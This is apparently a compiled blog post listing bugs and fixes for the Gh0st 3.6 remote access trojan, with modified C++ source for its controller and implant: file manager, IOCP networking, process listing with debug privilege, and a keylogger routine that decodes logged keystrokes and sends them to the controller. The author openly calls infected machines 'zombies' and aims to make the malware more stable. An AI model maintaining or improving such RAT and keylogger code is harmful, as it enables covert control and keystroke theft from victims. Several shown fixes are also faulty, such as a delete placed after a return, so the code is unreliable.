Gh0st 3.6 存在的BUG及修改方法(收集整理)

来源:互联网 发布:tensorflow wordvec 编辑:程序博客网 时间:2024/06/03 14:16

以下贴出代码全部为修改后的

---------------------------------------------------------------------------------------------------------------------------------

1.拖放文件上传和下载时,有选择目标目录的话,可能会使目录重复

修改CFileManagerDlg::SendUploadJob()和CFileManagerDlg::CreateLocalRecvFile()中的代码:

if (m_Remote_Upload_Job.IsEmpty())
   return FALSE;

CString strDestDirectory = m_Remote_Path;
// 如果远程也有选择,当做目标文件夹
int nItem = m_list_remote.GetSelectionMark();

// 是文件夹
if (!m_hCopyDestFolder.IsEmpty())//修改目录重复的bug
{
   strDestDirectory += m_hCopyDestFolder + "\\";
}else if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) // 是文件夹
{
   strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\";
}//新修改

if (!m_hCopyDestFolder.IsEmpty())
{
   strDestDirectory += m_hCopyDestFolder + "\\";
}

// 发出第一个下载任务命令

------------------------------------------------------------------------------------------------------------------------------------

2.‍选中多个主机,执行断开连接,并不是所有选择的都断开

Ccb1stView::OnDisconnect() 中代码改为
        POSITION pos;
        for(; pos=m_pListCtrl->GetFirstSelectedItemPosition();)
        {
                m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
        }

------------------------------------------------------------------------------------------------------------------------------------

3.文件列表不支持点击排序

在FileManagerDlg.h中加上一句:
#define CListCtrl CCJListCtrl

--------------------------------------------------------------------------------------------------------------------------------------

4.内存泄露BUG修改

1)、内存泄漏
如new后没有delete,或其他内存分配函数后没有配对释放,例如:
void SplitLoginInfo(…)中、DWORD GetProcessID(LPCTSTR lpProcessName)中…
另外如用

[Copy to clipboard] [ - ]CODE:
char *lpBuffer = new char[dwSize]
这种形式new,后面应该

[Copy to clipboard] [ - ]CODE:
delete [] lpBuffer;
,如果只是delete lpBuffer应该也会造成泄漏,例如:
int CKeyboardManager::sendOfflineRecord()中…
2)、句柄泄漏
大多是由于没有CloseHandle所致,某些特殊对象有相应的关闭释放函数,虽然问题不大,可看到肉鸡每次接受命令执行,就增加一些句柄或其他资源占用,心里总是不爽。
例如:

[Copy to clipboard] [ - ]CODE:
LPBYTE CSystemManager::getProcessList()中OpenProcess后应该CloseHandle(hProcess);

[Copy to clipboard] [ - ]CODE:
DWORD GetProcessID(LPCTSTR lpProcessName)中最后应该CloseHandle(handle);

//新加入减少内存泄露//////////////////////1
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD

lppProxyPort,
                                    char **lppszProxyUser, char **lppszProxyPass)
{
       *lppszHost = NULL;
       *lppPort = 0;
       *lppszProxyHost = NULL;
       *lppProxyPort = 0;
       *lppszProxyUser = NULL;
       *lppszProxyPass = NULL;

       bool        bIsProxyUsed = false;
       bool        bIsAuth = false;
       UINT        nSize = lstrlen(lpDecodeString) + 1;
       char        *lpString = new char[nSize];
       memcpy(lpString, lpDecodeString, nSize);
      
       char        *pStart, *pNext, *pEnd;
       *lppszHost = lpString;

       if ((pStart = strchr(lpString, ':')) == NULL)
            return;

       *pStart = '\0';
       if ((pNext = strchr(pStart + 1, '|')) != NULL)
       {
            bIsProxyUsed = true;
            *pNext = '\0';
       }
       *lppPort = atoi(pStart + 1);
      
       if (!bIsProxyUsed)
            return;

       pNext++;
       *lppszProxyHost = pNext;

       if ((pStart = strchr(pNext, ':')) == NULL)
            return;

       *pStart = '\0';
       if ((pNext = strchr(pStart + 1, '|')) != NULL)
       {
            bIsAuth = true;
            *pNext = '\0';
       }
       *lppProxyPort = atoi(pStart + 1);
      
       if (!bIsAuth)
            return;
      
       pNext++;
       *lppszProxyUser = pNext;
       if ((pStart = strchr(pNext, ':')) == NULL)
            return;
       *pStart = '\0';
       *lppszProxyPass = pStart + 1;
       delete [] lpString ;//新加入减少内存泄露 
}


//////////////////////////////////////////////////////////////////////2

int CKeyboardManager::sendOfflineRecord()
{
       int             nRet = 0;
       DWORD        dwSize = 0;
       DWORD        dwBytesRead = 0;
       char        strRecordFile[MAX_PATH];
       GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
       lstrcat(strRecordFile, "");
       HANDLE        hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
       if (hFile != INVALID_HANDLE_VALUE)
       {
            dwSize = GetFileSize(hFile, NULL);
            char *lpBuffer = new char[dwSize];
            ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
            // 解密
            for (int i = 0; i < dwSize; i++)
                     lpBuffer ^= XOR_ENCODE_VALUE;
            nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
            delete [] lpBuffer; //    delete lpBuffer;新修改的代码
       }
       CloseHandle(hFile);
       return nRet;
}


//////////////////////////////////////////////////////////////////////////////////////

LPBYTE CSystemManager::getProcessList()
{
       HANDLE                      hSnapshot = NULL;
       HANDLE                      hProcess = NULL;
       HMODULE                      hModules = NULL;
       PROCESSENTRY32        pe32 = {0};
       DWORD                      cbNeeded;
       char                      strProcessName[MAX_PATH] = {0};
       LPBYTE                      lpBuffer = NULL;
       DWORD                      dwOffset = 0;
       DWORD                      dwLength = 0;
       DebugPrivilege(SE_DEBUG_NAME, TRUE);
      
       hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      
       if(hSnapshot == INVALID_HANDLE_VALUE)
            return NULL;
      
       pe32.dwSize = sizeof(PROCESSENTRY32);
      
       lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
      
       lpBuffer[0] = TOKEN_PSLIST;
       dwOffset = 1;
      
       if(Process32First(hSnapshot, &pe32))
       {       
            do
            {    
                     hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,

pe32.th32ProcessID);
                     if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
                     {
                               EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
                               GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
                              
                               // 此进程占用数据大小
                               dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
                               // 缓冲区太小,再重新分配下
                               if (LocalSize(lpBuffer) < (dwOffset + dwLength))
                                    lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength),

LMEM_ZEROINIT|LMEM_MOVEABLE);
                              
                               memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
                               dwOffset += sizeof(DWORD);       
                              
                               memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
                               dwOffset += lstrlen(pe32.szExeFile) + 1;
                              
                               memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
                               dwOffset += lstrlen(strProcessName) + 1;
                     }
            CloseHandle(hProcess);//新修改
            }
            while(Process32Next(hSnapshot, &pe32));
       }
      
       lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
      
       DebugPrivilege(SE_DEBUG_NAME, FALSE); 
       CloseHandle(hSnapshot);
       return lpBuffer;       
}
//////////////////////////////////////////////////////////////////////////
DWORD GetProcessID(LPCTSTR lpProcessName)
{
       DWORD RetProcessID = 0;
       HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
       PROCESSENTRY32* info=new PROCESSENTRY32;
       info->dwSize=sizeof(PROCESSENTRY32);
      
       if(Process32First(handle,info))
       {
            if (strcmpi(info->szExeFile,lpProcessName) == 0)
            {
                     RetProcessID = info->th32ProcessID;
                     return RetProcessID;
            }
            while(Process32Next(handle,info) != FALSE)
            {
                     if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
                     {
                               RetProcessID = info->th32ProcessID;
                               return RetProcessID;
            
                     }
            }
       }

CloseHandle(handle);//新修改

return RetProcessID;
       
}

////////////////////////////////////////////////////////新修改////////////////////
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024]={0};
try
{
GetWindowText(hwnd, strTitle, sizeof(strTitle)-1);
strTitle[sizeof(strTitle)-1]=0;
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
if (lpBuffer == NULL)
{
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwOffset=1;
}else
{
dwOffset = LocalSize(lpBuffer);
while(*(lpBuffer + dwOffset - 2)==0) dwOffset--;
}

dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
}catch (...)
{
return true;
}
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);

*(LPBYTE *)lParam = lpBuffer;
return true;
}

/////////////////////////////////////////////////////
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
       char        strFileName[MAX_PATH];
       char        *lpConfigString = NULL;
       DWORD        dwBytesRead = 0;
       GetModuleFileName(hModule, strFileName, sizeof(strFileName));
      
       HANDLE        hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
       if (hFile == INVALID_HANDLE_VALUE)
       {
            return NULL;
       }
      
       SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
       lpConfigString = new char[MAX_CONFIG_LEN];
       ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
       CloseHandle(hFile);
      
       int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
       if (offset == -1)
       {
            delete lpConfigString;
            return NULL;
       }
       else
       {
            return lpConfigString + offset;
            delete lpConfigString;///新修改代码-----------不确定.
       }
}
// 文件名随机

------------------------------------------------------------------------------------------------------------------------------------

5.对话框关闭后未销毁的问题(spy++可以看到)

        在CGh0stView::OnRemoveFromList(WPARAM wParam, LPARAM lParam)中有调用DestroyWindow,只要在OnClose中注释掉m_pContext->m_Dialog[0] = 0;

‍        在工程中搜索m_pContext->m_Dialog[0] = 0;共搜到七处,全部注释掉后,测试时第二次进入文件管理的时候掉图标。不注释的话,又导致spy++可以看到文件管理窗口。欢迎高手提供好的解决办法。
也就是下面代码里的m_pContext->m_Dialog[0] = 0;不能注释,其他六处可以注释。
void CFileManagerDlg::OnClose() 
{
// TODO: Add your message handler code here and/or call default
CoUninitialize();
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}

------------------------------------------------------------------------------------------------------------------------------------

6.发送数据较快容易出错

pContext->m_hWriteComplete

这明显是个event对象,可是并没有CreateEvent创建,单线程发送接收可能没事,发送数据较快就有问题了(我加代理功能时发现,CreateEvent后发的数据就不乱了)

------------------------------------------------------------------------------------------------------------------------------------

7.Gh0st3.6 IOCP发送BUG

作 者: boywhp
时 间: 2014-04-21,22:53:46
链 接: http://bbs.pediy.com/showthread.php?t=186833

测试发现有时客户端会发送重复数据包,感觉作者的IOCP发送处理逻辑不是太清晰,简单修改了下,初步测试没发现异常
话说我很想不通使用了TCP通信的Gh0st里面居然还有处理重发的代码,真是蛋疼啊,懒得删了,万一有个大坑呢?
另外里面频繁的new delete看得我也很不爽啊,不过我忍住了,能不动就不动
1、CIOCPServer::Send
代码:
[cpp] view plain copy
  1. void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)  
  2. {  
  3.   if (pContext == NULL)  
  4.     return;  
  5.           
  6.   try  
  7.   {  
  8.                 CLock cs(pContext->m_SndLock, "Send");  
  9.     if (nSize > 0)  
  10.     {  
  11.       // Compress data  
  12.       unsigned long  destLen = (double)nSize * 1.001  + 12;  
  13.       LPBYTE      pDest = new BYTE[destLen];  
  14.       int  nRet = compress(pDest, &destLen, lpData, nSize);  
  15.         
  16.       if (nRet != Z_OK)  
  17.       {  
  18.         delete [] pDest;  
  19.         return;  
  20.       }  
  21.   
  22.       //////////////////////////////////////////////////////////////////////////  
  23.       LONG nBufLen = destLen + HDR_SIZE;  
  24.       // 5 bytes packet flag  
  25.       pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));  
  26.       // 4 byte header [Size of Entire Packet]  
  27.       pContext->m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));  
  28.       // 4 byte header [Size of UnCompress Entire Packet]  
  29.       pContext->m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));  
  30.       // Write Data  
  31.       pContext->m_WriteBuffer.Write(pDest, destLen);  
  32.       delete [] pDest;  
  33.         
  34.       // 如果当前缓冲区无数据堆积,执行PostSend  
  35.       if (pContext->m_WriteBuffer.GetBufferLen() == nBufLen)  
  36.         PostSend(pContext);  
  37.   
  38.       // 发送完后,再备份数据, 因为有可能是m_ResendWriteBuffer本身在发送,所以不直接写入  
  39.       LPBYTE lpResendWriteBuffer = new BYTE[nSize];  
  40.       CopyMemory(lpResendWriteBuffer, lpData, nSize);  
  41.       pContext->m_ResendWriteBuffer.ClearBuffer();  
  42.       pContext->m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize);  // 备份发送的数据  
  43.       delete [] lpResendWriteBuffer;  
  44.     }  
  45.     else // 要求重发  
  46.     {  
  47.       pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));  
  48.       pContext->m_ResendWriteBuffer.ClearBuffer();  
  49.       pContext->m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));  // 备份发送的数据    
  50.     }  
  51.   
  52.      //OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);  
  53.      //PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);  
  54.   
  55.     pContext->m_nMsgOut++;  
  56.   }catch(...){}  
  57. }  
2、添加函数CIOCPServer::PostSend
代码:
[cpp] view plain copy
  1. void CIOCPServer::PostSend(ClientContext* pContext)  
  2. {  
  3.   OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);  
  4.   WSABUF sndBuf;  
  5.   ULONG ulFlags = MSG_PARTIAL;  
  6.     
  7.   m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT);  
  8.     
  9.   sndBuf.buf = (char*) pContext->m_WriteBuffer.GetBuffer();  
  10.   sndBuf.len = pContext->m_WriteBuffer.GetBufferLen();  
  11.     
  12.   int nRetVal = WSASend(pContext->m_Socket,   
  13.     &sndBuf,  
  14.     1,  
  15.     &sndBuf.len,   
  16.     ulFlags,  
  17.     &pOverlap->m_ol,   
  18.     NULL);  
  19.     
  20.   if (nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)  
  21.     RemoveStaleClient( pContext, FALSE );  
  22. }  

3、CIOCPServer::OnClientWriting
代码:
[cpp] view plain copy
  1. bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)  
  2. {  
  3.   try  
  4.   {  
  5.     //////////////////////////////////////////////////////////////////////////  
  6.     static DWORD nLastTick = GetTickCount();  
  7.     static DWORD nBytes = 0;  
  8.       
  9.     nBytes += dwIoSize;  
  10.       
  11.     if (GetTickCount() - nLastTick >= 1000)  
  12.     {  
  13.       nLastTick = GetTickCount();  
  14.       InterlockedExchange((LPLONG)&(m_nSendKbps), nBytes);  
  15.       nBytes = 0;  
  16.     }  
  17.     //////////////////////////////////////////////////////////////////////////  
  18.                  
  19.                 TRACE("IOCP Send DONE %d bytes Remain:%d bytes\n",   
  20.       dwIoSize,   
  21.       pContext->m_WriteBuffer.GetBufferLen());  
  22.   
  23.     // Finished writing - tidy up  
  24.                 if (dwIoSize > 0){  
  25.             pContext->m_WriteBuffer.Delete(dwIoSize);  
  26.       if (pContext->m_WriteBuffer.GetBufferLen() > 0)  
  27.         PostSend(pContext);  
  28.       else  
  29.         pContext->m_WriteBuffer.ClearBuffer();  
  30.                 }  
  31.   
  32.   }catch(...){}  
  33.   return false;      // issue new read after this one  
  34. }  

------------------------------------------------------------------------------------------------------------------------------------

8.SetPaneText 的崩溃问题

  这个应该属于多线程操作控件的问题,参见MFC不能多线程操作控件的原因 这里面讲解的比较深入了。 
关于状态栏StatusBar有几点需要说明: 
1)刚刚创建工程 CMainFrame 类里面就有一个 CMFCStatusBar m_wndStatusBar; 状态栏变量定义。在原版工程里面是CStatusBar m_wndStatusBar; 
2)在这个类的 OnCreate 函数里面调用 m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH , 300); 设置每个状态栏分割宽度,后面两个参数 SBPS_STRETCH 表示 剩余的宽度都算在这个分割里面,300表示最小宽度,MSDN文档。 
3)关于 CMFCStatusBar 使用方法可见 鸡啄米专栏 VS2010/MFC编程入门之三十八(状态栏的使用详解) 。 
4)gh0st里面是这样使用 m_wndStatusBar 的:

<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CIOCPServer<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::OnAccept</span>() { m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT); } <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CALLBACK CMainFrame<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::NotifyProc</span>(LPVOID lpParam, ClientContext <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span>pContext, UINT nCode) { g_pFrame<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>m_wndStatusBar<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>SetPaneText(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>, str); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li></ul>

当异常的时候调用栈如下: 
这里写图片描述
跟踪到异常位置来到系统代码:

<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> <span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">// should also be in the permanent or temporary handle map</span> CHandleMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span> pMap <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> afxMapHWND(); ASSERT(pMap <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>); CObject<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span> p<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span><span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span>(pMap) { ASSERT( (p <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> pMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>LookupPermanent(m_hWnd)) <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span> <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">||</span> (p <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> pMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>LookupTemporary(m_hWnd)) <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li></ul>

总之一句话,这个 SetPaneText 是从其它线程 ListenThreadProc 调用过来的,如果要正常使用可以修改为如下方式 :

<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CALLBACK CMainFrame<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::NotifyProc</span>(LPVOID lpParam, ClientContext <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span>pContext, UINT nCode) { g_pFrame<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>PostMessageA(UpdatePane); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li></ul>

g_pFrame 是一个 CMainFrame 类型指针,在CMainFrame 类里面加入一个消息处理过程:

<code class="language-C hljs autohotkey has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-label" style="box-sizing: border-box;">ON_MESSAGE(UpdatePane, &CMainFrame::</span>OnUpdatepane) <span class="hljs-label" style="box-sizing: border-box;">afx_msg LRESULT CMainFrame::</span>OnUpdatepane(WPARAM wParam, LPARAM lParam) { m_wndStatusBar.SetPaneText(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>, <span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"test"</span>)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span> }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li></ul>

  在 ListenThreadProc 向 CMainFrame 类发送一个消息 PostMessage(UpdatePane),然后在 CMainFrame 类里面处理这个消息,至此问题完美解决。 
参考: 
MFC中从一个类向其他类发送消息的方法

------------------------------------------------------------------------------------------------------------------------------------

9.WSAIoctl 参数类型导致栈异常

以前gh0st代码如下:

<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">const</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> chOpt = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>; WSAIoctl ( pContext->m_Socket, SIO_KEEPALIVE_VALS, &klive, <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">sizeof</span>(tcp_keepalive), <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>, <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>, (<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">unsigned</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">long</span> *)&chOpt, <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>, <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span> );</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li></ul>

WSAIoctl 原型声明如下:

<code class="language-C hljs bash has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">int WSAAPI WSAIoctl( __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> SOCKET s, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD dwIoControlCode, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span>_bcount_opt(cbInBuffer) LPVOID lpvInBuffer, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD cbInBuffer, __out_bcount_part_opt(cbOutBuffer, *lpcbBytesReturned) LPVOID lpvOutBuffer, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD cbOutBuffer, __out LPDWORD lpcbBytesReturned, __inout_opt LPWSAOVERLAPPED lpOverlapped, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span>_opt LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine );</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li></ul>

